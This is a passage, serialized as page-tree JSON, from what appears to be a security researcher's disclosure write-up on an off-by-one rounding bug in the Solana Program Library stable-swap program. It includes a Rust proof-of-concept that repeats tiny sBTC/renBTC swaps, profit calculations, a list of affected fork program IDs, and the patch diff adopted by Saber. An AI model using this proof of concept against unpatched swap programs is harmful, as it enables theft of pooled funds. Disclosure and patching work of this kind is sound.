"type":26,"value":2071},{"type":21,"tag":153,"props":5902,"children":5903},{"style":198},[5904],{"type":26,"value":2022},{"type":21,"tag":153,"props":5906,"children":5907},{"style":160},[5908],{"type":26,"value":5909},")\n",{"type":21,"tag":153,"props":5911,"children":5912},{"class":155,"line":382},[5913,5918,5923,5927,5932,5936,5940,5944,5948,5952,5956,5960,5964,5968,5973,5977,5981,5986,5990,5995,5999,6003,6007,6011],{"type":21,"tag":153,"props":5914,"children":5915},{"style":198},[5916],{"type":26,"value":5917},"            .",{"type":21,"tag":153,"props":5919,"children":5920},{"style":181},[5921],{"type":26,"value":5922},"checked_ceil_div",{"type":21,"tag":153,"props":5924,"children":5925},{"style":160},[5926],{"type":26,"value":189},{"type":21,"tag":153,"props":5928,"children":5929},{"style":181},[5930],{"type":26,"value":5931},"checked_u8_mul",{"type":21,"tag":153,"props":5933,"children":5934},{"style":160},[5935],{"type":26,"value":189},{"type":21,"tag":153,"props":5937,"children":5938},{"style":198},[5939],{"type":26,"value":1974},{"type":21,"tag":153,"props":5941,"children":5942},{"style":192},[5943],{"type":26,"value":5864},{"type":21,"tag":153,"props":5945,"children":5946},{"style":160},[5947],{"type":26,"value":1670},{"type":21,"tag":153,"props":5949,"children":5950},{"style":300},[5951],{"type":26,"value":5873},{"type":21,"tag":153,"props":5953,"children":5954},{"style":160},[5955],{"type":26,"value":2071},{"type":21,"tag":153,"props":5957,"children":5958},{"style":198},[5959],{"type":26,"value":5882},{"type":21,"tag":153,"props":5961,"children":5962},{"style":181},[5963],{"type":26,"value":5887},{"type":21,"tag":153,"props":5965,"children":5966},{"style":160},[5967],{"type":26,"value":189},{"type":21,"tag":153,"props":5969,"children":5970},{"style":192},[5971],{"type":26,"value":5972},"b",{"type":21,"tag":153,"props":5974,"children":5975},{"style":160},[5976],{"type":26,"value":2071},{"type":21,"tag":153,"props":5978,"children":5979},{"style":198},[5980],{"type":26,"value":5882},{"type":21,"tag":153,"props":5982,"children":5983},{"style":181},[5984],{"type":26,"value":5985},"checked_sub",{"type":21,"tag":153,"props":5987,"children":5988},{"style":160},[5989],{"type":26,"value":189},{"type":21,"tag":153,"props":5991,"children":5992},{"style":192},[5993],{"type":26,"value":5994},"d_val",{"type":21,"tag":153,"props":5996,"children":5997},{"style":160},[5998],{"type":26,"value":2071},{"type":21,"tag":153,"props":6000,"children":6001},{"style":198},[6002],{"type":26,"value":2022},{"type":21,"tag":153,"props":6004,"children":6005},{"style":160},[6006],{"type":26,"value":2071},{"type":21,"tag":153,"props":6008,"children":6009},{"style":198},[6010],{"type":26,"value":2022},{"type":21,"tag":153,"props":6012,"children":6013},{"style":160},[6014],{"type":26,"value":1759},{"type":21,"tag":153,"props":6016,"children":6017},{"class":155,"line":501},[6018,6022,6027,6032,6036],{"type":21,"tag":153,"props":6019,"children":6020},{"style":1751},[6021],{"type":26,"value":2607},{"type":21,"tag":153,"props":6023,"children":6024},{"style":192},[6025],{"type":26,"value":6026}," y_new",{"type":21,"tag":153,"props":6028,"children":6029},{"style":198},[6030],{"type":26,"value":6031}," ==",{"type":21,"tag":153,"props":6033,"children":6034},{"style":192},[6035],{"type":26,"value":5763},{"type":21,"tag":153,"props":6037,"children":6038},{"style":160},[6039],{"type":26,"value":236},{"type":21,"tag":153,"props":6041,"children":6042},{"class":155,"line":533},[6043,6048],{"type":21,"tag":153,"props":6044,"children":6045},{"style":1751},[6046],{"type":26,"value":6047},"            break",{"type":21,"tag":153,"props":6049,"children":6050},{"style":160},[6051],{"type":26,"value":1759},{"type":21,"tag":153,"props":6053,"children":6054},{"class":155,"line":542},[6055,6059,6063],{"type":21,"tag":153,"props":6056,"children":6057},{"style":160},[6058],{"type":26,"value":2712},{"type":21,"tag":153,"props":6060,"children":6061},{"style":1751},[6062],{"type":26,"value":2717},{"type":21,"tag":153,"props":6064,"children":6065},{"style":160},[6066],{"type":26,"value":236},{"type":21,"tag":153,"props":6068,"children":6069},{"class":155,"line":762},[6070,6075,6079,6083],{"type":21,"tag":153,"props":6071,"children":6072},{"style":192},[6073],{"type":26,"value":6074},"            y",{"type":21,"tag":153,"props":6076,"children":6077},{"style":198},[6078],{"type":26,"value":255},{"type":21,"tag":153,"props":6080,"children":6081},{"style":192},[6082],{"type":26,"value":6026},{"type":21,"tag":153,"props":6084,"children":6085},{"style":160},[6086],{"type":26,"value":1759},{"type":21,"tag":153,"props":6088,"children":6089},{"class":155,"line":776},[6090],{"type":21,"tag":153,"props":6091,"children":6092},{"style":160},[6093],{"type":26,"value":2765},{"type":21,"tag":153,"props":6095,"children":6096},{"class":155,"line":795},[6097],{"type":21,"tag":153,"props":6098,"children":6099},{"style":160},[6100],{"type":26,"value":539},{"type":21,"tag":22,"props":6102,"children":6103},{},[6104,6109],{"type":21,"tag":5302,"props":6105,"children":6106},{},[6107],{"type":26,"value":6108},"approximate",{"type":26,"value":6110},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":21,"tag":22,"props":6112,"children":6113},{},[6114],{"type":26,"value":6115},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":21,"tag":143,"props":6117,"children":6119},{"code":6118,"language":147,"meta":7,"className":145,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n    // create swap transaction\n    let mut swap_instruction = swap(\n        &spl_token::id(),\n        &swap_pubkey,\n        &swap_authority_pubkey,\n        &test_account_signer.pubkey(),\n        &sbtc_user_account,\n        &sbtc_reserve,\n        &renbtc_reserve,\n        &renbtc_user_account,\n        &admin_fee_account_sbtc_to_ren,\n        1,\n        2\n    ).unwrap();\n\n    // nonce\n    swap_instruction.data.append(&mut vec![i, extranonce]);\n\n    let mut instructions = vec![];\n\n    instructions.push(swap_instruction);\n\n    env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[6120],{"type":21,"tag":78,"props":6121,"children":6122},{"__ignoreMap":7},[6123,6131,6170,6178,6207,6232,6248,6264,6288,6304,6320,6336,6352,6368,6380,6388,6407,6414,6422,6486,6493,6522,6529,6559,6566,6625],{"type":21,"tag":153,"props":6124,"children":6125},{"class":155,"line":156},[6126],{"type":21,"tag":153,"props":6127,"children":6128},{"style":3050},[6129],{"type":26,"value":6130},"// from sbtc to renbtc\n",{"type":21,"tag":153,"props":6132,"children":6133},{"class":155,"line":166},[6134,6139,6144,6148,6152,6157,6162,6166],{"type":21,"tag":153,"props":6135,"children":6136},{"style":1751},[6137],{"type":26,"value":6138},"for",{"type":21,"tag":153,"props":6140,"children":6141},{"style":192},[6142],{"type":26,"value":6143}," i",{"type":21,"tag":153,"props":6145,"children":6146},{"style":170},[6147],{"type":26,"value":5794},{"type":21,"tag":153,"props":6149,"children":6150},{"style":300},[6151],{"type":26,"value":5799},{"type":21,"tag":153,"props":6153,"children":6154},{"style":198},[6155],{"type":26,"value":6156}," ..",{"type":21,"tag":153,"props":6158,"children":6159},{"style":300},[6160],{"type":26,"value":6161}," 50",{"type":21,"tag":153,"props":6163,"children":6164},{"style":214},[6165],{"type":26,"value":217},{"type":21,"tag":153,"props":6167,"children":6168},{"style":160},[6169],{"type":26,"value":236},{"type":21,"tag":153,"props":6171,"children":6172},{"class":155,"line":225},[6173],{"type":21,"tag":153,"props":6174,"children":6175},{"style":3050},[6176],{"type":26,"value":6177},"    // create swap transaction\n",{"type":21,"tag":153,"props":6179,"children":6180},{"class":155,"line":239},[6181,6185,6189,6194,6198,6203],{"type":21,"tag":153,"props":6182,"children":6183},{"style":170},[6184],{"type":26,"value":629},{"type":21,"tag":153,"props":6186,"children":6187},{"style":170},[6188],{"type":26,"value":1560},{"type":21,"tag":153,"props":6190,"children":6191},{"style":192},[6192],{"type":26,"value":6193}," swap_instruction",{"type":21,"tag":153,"props":6195,"children":6196},{"style":198},[6197],{"type":26,"value":255},{"type":21,"tag":153,"props":6199,"children":6200},{"style":181},[6201],{"type":26,"value":6202}," swap",{"type":21,"tag":153,"props":6204,"children":6205},{"style":160},[6206],{"type":26,"value":773},{"type":21,"tag":153,"props":6208,"children":6209},{"class":155,"line":382},[6210,6214,6219,6223,6228],{"type":21,"tag":153,"props":6211,"children":6212},{"style":198},[6213],{"type":26,"value":782},{"type":21,"tag":153,"props":6215,"children":6216},{"style":160},[6217],{"type":26,"value":6218},"spl_token",{"type":21,"tag":153,"props":6220,"children":6221},{"style":198},[6222],{"type":26,"value":265},{"type":21,"tag":153,"props":6224,"children":6225},{"style":181},[6226],{"type":26,"value":6227},"id",{"type":21,"tag":153,"props":6229,"children":6230},{"style":160},[6231],{"type":26,"value":721},{"type":21,"tag":153,"props":6233,"children":6234},{"class":155,"line":501},[6235,6239,6244],{"type":21,"tag":153,"props":6236,"children":6237},{"style":198},[6238],{"type":26,"value":782},{"type":21,"tag":153,"props":6240,"children":6241},{"style":192},[6242],{"type":26,"value":6243},"swap_pubkey",{"type":21,"tag":153,"props":6245,"children":6246},{"style":160},[6247],{"type":26,"value":792},{"type":21,"tag":153,"props":6249,"children":6250},{"class":155,"line":533},[6251,6255,6260],{"type":21,"tag":153,"props":6252,"children":6253},{"style":198},[6254],{"type":26,"value":782},{"type":21,"tag":153,"props":6256,"children":6257},{"style":192},[6258],{"type":26,"value":6259},"swap_authority_pubkey",{"type":21,"tag":153,"props":6261,"children":6262},{"style":160},[6263],{"type":26,"value":792},{"type":21,"tag":153,"props":6265,"children":6266},{"class":155,"line":542},[6267,6271,6276,6280,6284],{"type":21,"tag":153,"props":6268,"children":6269},{"style":198},[6270],{"type":26,"value":782},{"type":21,"tag":153,"props":6272,"children":6273},{"style":192},[6274],{"type":26,"value":6275},"test_account_signer",{"type":21,"tag":153,"props":6277,"children":6278},{"style":198},[6279],{"type":26,"value":355},{"type":21,"tag":153,"props":6281,"children":6282},{"style":181},[6283],{"type":26,"value":1837},{"type":21,"tag":153,"props":6285,"children":6286},{"style":160},[6287],{"type":26,"value":721},{"type":21,"tag":153,"props":6289,"children":6290},{"class":155,"line":762},[6291,6295,6300],{"type":21,"tag":153,"props":6292,"children":6293},{"style":198},[6294],{"type":26,"value":782},{"type":21,"tag":153,"props":6296,"children":6297},{"style":192},[6298],{"type":26,"value":6299},"sbtc_user_account",{"type":21,"tag":153,"props":6301,"children":6302},{"style":160},[6303],{"type":26,"value":792},{"type":21,"tag":153,"props":6305,"children":6306},{"class":155,"line":776},[6307,6311,6316],{"type":21,"tag":153,"props":6308,"children":6309},{"style":198},[6310],{"type":26,"value":782},{"type":21,"tag":153,"props":6312,"children":6313},{"style":192},[6314],{"type":26,"value":6315},"sbtc_reserve",{"type":21,"tag":153,"props":6317,"children":6318},{"style":160},[6319],{"type":26,"value":792},{"type":21,"tag":153,"props":6321,"children":6322},{"class":155,"line":795},[6323,6327,6332],{"type":21,"tag":153,"props":6324,"children":6325},{"style":198},[6326],{"type":26,"value":782},{"type":21,"tag":153,"props":6328,"children":6329},{"style":192},[6330],{"type":26,"value":6331},"renbtc_reserve",{"type":21,"tag":153,"props":6333,"children":6334},{"style":160},[6335],{"type":26,"value":792},{"type":21,"tag":153,"props":6337,"children":6338},{"class":155,"line":808},[6339,6343,6348],{"type":21,"tag":153,"props":6340,"children":6341},{"style":198},[6342],{"type":26,"value":782},{"type":21,"tag":153,"props":6344,"children":6345},{"style":192},[6346],{"type":26,"value":6347},"renbtc_user_account",{"type":21,"tag":153,"props":6349,"children":6350},{"style":160},[6351],{"type":26,"value":792},{"type":21,"tag":153,"props":6353,"children":6354},{"class":155,"line":820},[6355,6359,6364],{"type":21,"tag":153,"props":6356,"children":6357},{"style":198},[6358],{"type":26,"value":782},{"type":21,"tag":153,"props":6360,"children":6361},{"style":192},[6362],{"type":26,"value":6363},"admin_fee_account_sbtc_to_ren",{"type":21,"tag":153,"props":6365,"children":6366},{"style":160},[6367],{"type":26,"value":792},{"type":21,"tag":153,"props":6369,"children":6370},{"class":155,"line":842},[6371,6376],{"type":21,"tag":153,"props":6372,"children":6373},{"style":300},[6374],{"type":26,"value":6375},"        1",{"type":21,"tag":153,"props":6377,"children":6378},{"style":160},[6379],{"type":26,"value":792},{"type":21,"tag":153,"props":6381,"children":6382},{"class":155,"line":3204},[6383],{"type":21,"tag":153,"props":6384,"children":6385},{"style":300},[6386],{"type":26,"value":6387},"        2\n",{"type":21,"tag":153,"props":6389,"children":6390},{"class":155,"line":3230},[6391,6395,6399,6403],{"type":21,"tag":153,"props":6392,"children":6393},{"style":160},[6394],{"type":26,"value":826},{"type":21,"tag":153,"props":6396,"children":6397},{"style":198},[6398],{"type":26,"value":355},{"type":21,"tag":153,"props":6400,"children":6401},{"style":181},[6402],{"type":26,"value":374},{"type":21,"tag":153,"props":6404,"children":6405},{"style":160},[6406],{"type":26,"value":839},{"type":21,"tag":153,"props":6408,"children":6409},{"class":155,"line":3239},[6410],{"type":21,"tag":153,"props":6411,"children":6412},{"emptyLinePlaceholder":16},[6413],{"type":26,"value":759},{"type":21,"tag":153,"props":6415,"children":6416},{"class":155,"line":3253},[6417],{"type":21,"tag":153,"props":6418,"children":6419},{"style":3050},[6420],{"type":26,"value":6421},"    // nonce\n",{"type":21,"tag":153,"props":6423,"children":6424},{"class":155,"line":3301},[6425,6430,6434,6438,6442,6447,6451,6455,6459,6463,6467,6472,6476,6481],{"type":21,"tag":153,"props":6426,"children":6427},{"style":192},[6428],{"type":26,"value":6429},"    swap_instruction",{"type":21,"tag":153,"props":6431,"children":6432},{"style":198},[6433],{"type":26,"value":355},{"type":21,"tag":153,"props":6435,"children":6436},{"style":160},[6437],{"type":26,"value":195},{"type":21,"tag":153,"props":6439,"children":6440},{"style":198},[6441],{"type":26,"value":355},{"type":21,"tag":153,"props":6443,"children":6444},{"style":181},[6445],{"type":26,"value":6446},"append",{"type":21,"tag":153,"props":6448,"children":6449},{"style":160},[6450],{"type":26,"value":189},{"type":21,"tag":153,"props":6452,"children":6453},{"style":198},[6454],{"type":26,"value":1974},{"type":21,"tag":153,"props":6456,"children":6457},{"style":170},[6458],{"type":26,"value":318},{"type":21,"tag":153,"props":6460,"children":6461},{"style":181},[6462],{"type":26,"value":738},{"type":21,"tag":153,"props":6464,"children":6465},{"style":160},[6466],{"type":26,"value":211},{"type":21,"tag":153,"props":6468,"children":6469},{"style":192},[6470],{"type":26,"value":6471},"i",{"type":21,"tag":153,"props":6473,"children":6474},{"style":160},[6475],{"type":26,"value":1670},{"type":21,"tag":153,"props":6477,"children":6478},{"style":192},[6479],{"type":26,"value":6480},"extranonce",{"type":21,"tag":153,"props":6482,"children":6483},{"style":160},[6484],{"type":26,"value":6485},"]);\n",{"type":21,"tag":153,"props":6487,"children":6488},{"class":155,"line":3346},[6489],{"type":21,"tag":153,"props":6490,"children":6491},{"emptyLinePlaceholder":16},[6492],{"type":26,"value":759},{"type":21,"tag":153,"props":6494,"children":6495},{"class":155,"line":3355},[6496,6500,6504,6509,6513,6517],{"type":21,"tag":153,"props":6497,"children":6498},{"style":170},[6499],{"type":26,"value":629},{"type":21,"tag":153,"props":6501,"children":6502},{"style":170},[6503],{"type":26,"value":1560},{"type":21,"tag":153,"props":6505,"children":6506},{"style":192},[6507],{"type":26,"value":6508}," instructions",{"type":21,"tag":153,"props":6510,"children":6511},{"style":198},[6512],{"type":26,"value":255},{"type":21,"tag":153,"props":6514,"children":6515},{"style":181},[6516],{"type":26,"value":738},{"type":21,"tag":153,"props":6518,"children":6519},{"style":160},[6520],{"type":26,"value":6521},"[];\n",{"type":21,"tag":153,"props":6523,"children":6524},{"class":155,"line":3364},[6525],{"type":21,"tag":153,"props":6526,"children":6527},{"emptyLinePlaceholder":16},[6528],{"type":26,"value":759},{"type":21,"tag":153,"props":6530,"children":6531},{"class":155,"line":3376},[6532,6537,6541,6546,6550,6555],{"type":21,"tag":153,"props":6533,"children":6534},{"style":192},[6535],{"type":26,"value":6536},"    instructions",{"type":21,"tag":153,"props":6538,"children":6539},{"style":198},[6540],{"type":26,"value":355},{"type":21,"tag":153,"props":6542,"children":6543},{"style":181},[6544],{"type":26,"value":6545},"push",{"type":21,"tag":153,"props":6547,"children":6548},{"style":160},[6549],{"type":26,"value":189},{"type":21,"tag":153,"props":6551,"children":6552},{"style":192},[6553],{"type":26,"value":6554},"swap_instruction",{"type":21,"tag":153,"props":6556,"children":6557},{"style":160},[6558],{"type":26,"value":530},{"type":21,"tag":153,"props":6560,"children":6561},{"class":155,"line":3393},[6562],{"type":21,"tag":153,"props":6563,"children":6564},{"emptyLinePlaceholder":16},[6565],{"type":26,"value":759},{"type":21,"tag":153,"props":6567,"children":6568},{"class":155,"line":3405},[6569,6574,6578,6583,6587,6591,6596,6600,6604,6609,6613,6617,6621],{"type":21,"tag":153,"props":6570,"children":6571},{"style":192},[6572],{"type":26,"value":6573},"    env",{"type":21,"tag":153,"props":6575,"children":6576},{"style":198},[6577],{"type":26,"value":355},{"type":21,"tag":153,"props":6579,"children":6580},{"style":181},[6581],{"type":26,"value":6582},"execute_as_transaction",{"type":21,"tag":153,"props":6584,"children":6585},{"style":160},[6586],{"type":26,"value":189},{"type":21,"tag":153,"props":6588,"children":6589},{"style":198},[6590],{"type":26,"value":1974},{"type":21,"tag":153,"props":6592,"children":6593},{"style":192},[6594],{"type":26,"value":6595},"instructions",{"type":21,"tag":153,"props":6597,"children":6598},{"style":160},[6599],{"type":26,"value":1670},{"type":21,"tag":153,"props":6601,"children":6602},{"style":198},[6603],{"type":26,"value":1974},{"type":21,"tag":153,"props":6605,"children":6606},{"style":181},[6607],{"type":26,"value":6608},"vec!",{"type":21,"tag":153,"props":6610,"children":6611},{"style":160},[6612],{"type":26,"value":211},{"type":21,"tag":153,"props":6614,"children":6615},{"style":198},[6616],{"type":26,"value":1974},{"type":21,"tag":153,"props":6618,"children":6619},{"style":192},[6620],{"type":26,"value":6275},{"type":21,"tag":153,"props":6622,"children":6623},{"style":160},[6624],{"type":26,"value":6485},{"type":21,"tag":153,"props":6626,"children":6627},{"class":155,"line":3427},[6628],{"type":21,"tag":153,"props":6629,"children":6630},{"style":160},[6631],{"type":26,"value":548},{"type":21,"tag":22,"props":6633,"children":6634},{},[6635],{"type":26,"value":6636},"It works!",{"type":21,"tag":5689,"props":6638,"children":6639},{},[6640],{"type":21,"tag":22,"props":6641,"children":6642},{},[6643],{"type":26,"value":6644},"holy shit\nyea, this is big",{"type":21,"tag":22,"props":6646,"children":6647},{},[6648],{"type":21,"tag":3644,"props":6649,"children":6651},{"alt":7,"src":6650},"/posts/spl-swap/poc.png",[],{"type":21,"tag":66,"props":6653,"children":6655},{"id":6654},"exploitability",[6656],{"type":26,"value":6657},"Exploitability",{"type":21,"tag":22,"props":6659,"children":6660},{},[6661],{"type":26,"value":6662},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":21,"tag":22,"props":6664,"children":6665},{},[6666],{"type":26,"value":6667},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":21,"tag":22,"props":6669,"children":6670},{},[6671],{"type":26,"value":6672},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":21,"tag":22,"props":6674,"children":6675},{},[6676],{"type":21,"tag":3644,"props":6677,"children":6679},{"alt":7,"src":6678},"/posts/spl-swap/pr.png",[],{"type":21,"tag":22,"props":6681,"children":6682},{},[6683,6685,6690],{"type":26,"value":6684},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":21,"tag":5302,"props":6686,"children":6687},{},[6688],{"type":26,"value":6689},"per instruction",{"type":26,"value":6691},". Transactions on Solana can also contain multiple instructions.",{"type":21,"tag":22,"props":6693,"children":6694},{},[6695],{"type":26,"value":6696},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":21,"tag":22,"props":6698,"children":6699},{},[6700,6702,6707],{"type":26,"value":6701},"Some quick napkin math confirms that this ",{"type":21,"tag":5302,"props":6703,"children":6704},{},[6705],{"type":26,"value":6706},"is",{"type":26,"value":6708}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":21,"tag":22,"props":6710,"children":6711},{},[6712],{"type":21,"tag":78,"props":6713,"children":6717},{"className":6714},[6715,6716],"language-math","math-inline",[6718],{"type":21,"tag":153,"props":6719,"children":6722},{"className":6720},[6721],"katex",[6723],{"type":21,"tag":153,"props":6724,"children":6727},{"className":6725,"ariaHidden":3294},[6726],"katex-html",[6728,6834,6890,6930],{"type":21,"tag":153,"props":6729,"children":6732},{"className":6730},[6731],"base",[6733,6739,6745,6807,6817,6823,6830],{"type":21,"tag":153,"props":6734,"children":6738},{"className":6735,"style":6737},[6736],"strut","height:0.8141em;",[],{"type":21,"tag":153,"props":6740,"children":6743},{"className":6741},[6742],"mord",[6744],{"type":26,"value":3033},{"type":21,"tag":153,"props":6746,"children":6748},{"className":6747},[6742],[6749,6754],{"type":21,"tag":153,"props":6750,"children":6752},{"className":6751},[6742],[6753],{"type":26,"value":2996},{"type":21,"tag":153,"props":6755,"children":6758},{"className":6756},[6757],"msupsub",[6759],{"type":21,"tag":153,"props":6760,"children":6763},{"className":6761},[6762],"vlist-t",[6764],{"type":21,"tag":153,"props":6765,"children":6768},{"className":6766},[6767],"vlist-r",[6769],{"type":21,"tag":153,"props":6770,"children":6773},{"className":6771,"style":6737},[6772],"vlist",[6774],{"type":21,"tag":153,"props":6775,"children":6777},{"style":6776},"top:-3.063em;margin-right:0.05em;",[6778,6784],{"type":21,"tag":153,"props":6779,"children":6783},{"className":6780,"style":6782},[6781],"pstrut","height:2.7em;",[],{"type":21,"tag":153,"props":6785,"children":6791},{"className":6786},[6787,6788,6789,6790],"sizing","reset-size6","size3","mtight",[6792],{"type":21,"tag":153,"props":6793,"children":6795},{"className":6794},[6742,6790],[6796,6802],{"type":21,"tag":153,"props":6797,"children":6799},{"className":6798},[6742,6790],[6800],{"type":26,"value":6801},"−",{"type":21,"tag":153,"props":6803,"children":6805},{"className":6804},[6742,6790],[6806],{"type":26,"value":303},{"type":21,"tag":153,"props":6808,"children":6810},{"className":6809},[6742,26],[6811],{"type":21,"tag":153,"props":6812,"children":6814},{"className":6813},[6742],[6815],{"type":26,"value":6816}," BTC",{"type":21,"tag":153,"props":6818,"children":6822},{"className":6819,"style":6821},[6820],"mspace","margin-right:0.2222em;",[],{"type":21,"tag":153,"props":6824,"children":6827},{"className":6825},[6826],"mbin",[6828],{"type":26,"value":6829},"∗",{"type":21,"tag":153,"props":6831,"children":6833},{"className":6832,"style":6821},[6820],[],{"type":21,"tag":153,"props":6835,"children":6837},{"className":6836},[6731],[6838,6843,6849,6856,6861,6867,6877,6881,6886],{"type":21,"tag":153,"props":6839,"children":6842},{"className":6840,"style":6841},[6736],"height:1em;vertical-align:-0.25em;",[],{"type":21,"tag":153,"props":6844,"children":6846},{"className":6845},[6742],[6847],{"type":26,"value":6848},"$41",{"type":21,"tag":153,"props":6850,"children":6853},{"className":6851},[6852],"mpunct",[6854],{"type":26,"value":6855},",",{"type":21,"tag":153,"props":6857,"children":6860},{"className":6858,"style":6859},[6820],"margin-right:0.1667em;",[],{"type":21,"tag":153,"props":6862,"children":6864},{"className":6863},[6742],[6865],{"type":26,"value":6866},"400/",{"type":21,"tag":153,"props":6868,"children":6870},{"className":6869},[6742,26],[6871],{"type":21,"tag":153,"props":6872,"children":6874},{"className":6873},[6742],[6875],{"type":26,"value":6876},"BTC",{"type":21,"tag":153,"props":6878,"children":6880},{"className":6879,"style":6821},[6820],[],{"type":21,"tag":153,"props":6882,"children":6884},{"className":6883},[6826],[6885],{"type":26,"value":6829},{"type":21,"tag":153,"props":6887,"children":6889},{"className":6888,"style":6821},[6820],[],{"type":21,"tag":153,"props":6891,"children":6893},{"className":6892},[6731],[6894,6899,6905,6915,6920,6926],{"type":21,"tag":153,"props":6895,"children":6898},{"className":6896,"style":6897},[6736],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":21,"tag":153,"props":6900,"children":6902},{"className":6901},[6742],[6903],{"type":26,"value":6904},"150",{"type":21,"tag":153,"props":6906,"children":6908},{"className":6907},[6742,26],[6909],{"type":21,"tag":153,"props":6910,"children":6912},{"className":6911},[6742],[6913],{"type":26,"value":6914}," swaps",{"type":21,"tag":153,"props":6916,"children":6919},{"className":6917,"style":6918},[6820],"margin-right:0.2778em;",[],{"type":21,"tag":153,"props":6921,"children":6924},{"className":6922},[6923],"mrel",[6925],{"type":26,"value":2367},{"type":21,"tag":153,"props":6927,"children":6929},{"className":6928,"style":6918},[6820],[],{"type":21,"tag":153,"props":6931,"children":6933},{"className":6932},[6731],[6934,6939],{"type":21,"tag":153,"props":6935,"children":6938},{"className":6936,"style":6937},[6736],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":21,"tag":153,"props":6940,"children":6942},{"className":6941},[6742],[6943],{"type":26,"value":6944},"$0.0621",{"type":21,"tag":22,"props":6946,"children":6947},{},[6948],{"type":26,"value":6949},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":21,"tag":22,"props":6951,"children":6952},{},[6953],{"type":26,"value":6954},"We're well on our way to becoming a millionaire!",{"type":21,"tag":66,"props":6956,"children":6958},{"id":6957},"patch",[6959],{"type":26,"value":6960},"Patch",{"type":21,"tag":22,"props":6962,"children":6963},{},[6964],{"type":26,"value":6965},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":21,"tag":22,"props":6967,"children":6968},{},[6969],{"type":26,"value":6970},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":21,"tag":143,"props":6972,"children":6976},{"code":6973,"language":6974,"meta":7,"className":6975,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[6977],{"type":21,"tag":78,"props":6978,"children":6979},{"__ignoreMap":7},[6980],{"type":21,"tag":153,"props":6981,"children":6982},{"class":155,"line":156},[6983,6987,6992,6997,7002,7007,7012],{"type":21,"tag":153,"props":6984,"children":6985},{"style":181},[6986],{"type":26,"value":5636},{"type":21,"tag":153,"props":6988,"children":6989},{"style":671},[6990],{"type":26,"value":6991}," logs",{"type":21,"tag":153,"props":6993,"children":6994},{"style":671},[6995],{"type":26,"value":6996}," -um",{"type":21,"tag":153,"props":6998,"children":6999},{"style":198},[7000],{"type":26,"value":7001}," |",{"type":21,"tag":153,"props":7003,"children":7004},{"style":181},[7005],{"type":26,"value":7006}," grep",{"type":21,"tag":153,"props":7008,"children":7009},{"style":671},[7010],{"type":26,"value":7011}," 'Instruction: Swap'",{"type":21,"tag":153,"props":7013,"children":7014},{"style":671},[7015],{"type":26,"value":7016}," -B1\n",{"type":21,"tag":22,"props":7018,"children":7019},{},[7020],{"type":26,"value":7021},"With some Google dorking, we were able to identify many of these programs.",{"type":21,"tag":143,"props":7023,"children":7025},{"code":7024},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ  - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ  - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr  - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ  - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1  - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8  - Swap Program\n",[7026],{"type":21,"tag":78,"props":7027,"children":7028},{"__ignoreMap":7},[7029],{"type":26,"value":7024},{"type":21,"tag":22,"props":7031,"children":7032},{},[7033],{"type":26,"value":7034},"Now it was time to contact these teams.",{"type":21,"tag":22,"props":7036,"children":7037},{},[7038],{"type":26,"value":7039},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":21,"tag":22,"props":7041,"children":7042},{},[7043],{"type":26,"value":7044},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":21,"tag":143,"props":7046,"children":7048},{"code":7047,"language":147,"meta":7,"className":145,"style":7},"-        let dy = swap_destination_amount.checked_sub(y)?;\n+        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+        let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[7049],{"type":21,"tag":78,"props":7050,"children":7051},{"__ignoreMap":7},[7052,7105,7117],{"type":21,"tag":153,"props":7053,"children":7054},{"class":155,"line":156},[7055,7059,7063,7068,7072,7077,7081,7085,7089,7093,7097,7101],{"type":21,"tag":153,"props":7056,"children":7057},{"style":198},[7058],{"type":26,"value":3873},{"type":21,"tag":153,"props":7060,"children":7061},{"style":170},[7062],{"type":26,"value":245},{"type":21,"tag":153,"props":7064,"children":7065},{"style":192},[7066],{"type":26,"value":7067}," dy",{"type":21,"tag":153,"props":7069,"children":7070},{"style":198},[7071],{"type":26,"value":255},{"type":21,"tag":153,"props":7073,"children":7074},{"style":192},[7075],{"type":26,"value":7076}," 